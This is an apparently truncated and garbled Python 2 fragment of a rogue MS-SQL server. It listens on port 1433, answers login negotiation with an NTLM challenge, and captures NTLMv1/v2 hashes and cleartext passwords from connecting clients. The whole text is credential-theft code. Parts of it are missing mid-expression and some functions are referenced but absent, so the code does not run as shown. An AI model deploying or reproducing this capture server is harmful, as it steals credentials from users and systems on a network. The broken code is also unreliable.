import struct class MSSQLServer(): def serve_thread_tcp(host, port, handler): try: server = ThreadingTCPServer((host, port), handler) server.serve_forever() except Exception, e: print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) def start(SQL_On_Off): if SQL_On_Off == "ON": t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL)) t.setDaemon(True) t.start() return t if SQL_On_Off == "OFF": return False class ThreadingTCPServer(ThreadingMixIn, TCPServer): allow_reuse_address = True def server_bind(self): TCPServer.server_bind(self) #This function parse SQL NTLMv1/v2 hash and dump it into a specific file. def ParseSQLHash(data,client): SSPIStart = data[8:] LMhashLen = struct.unpack(' 60: DomainLen = struct.unpack('H',Data[2:4])[0] EncryptionValue = Data[PacketLen-7:PacketLen-6] if re.search("NTLMSSP",Data): return True else: return False #MS-SQL server class. class MSSQL(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) ##Pre-Login Message if data[0] == "\x12": buffer0 = str(MSSQLPreLoginAnswer()) self.request.send(buffer0) data = self.request.recv(1024) ##NegoSSP if data[0] == "\x10": if re.search("NTLMSSP",data): t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) t.calculate() buffer1 = str(t) self.request.send(buffer1) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) ##NegoSSP Auth if data[0] == "\x11": ParseSQLHash(data,self.client_address[0]) except Exception: pass self.request.close() ################################################################################## #SQL Stuff ends here ##################################################################################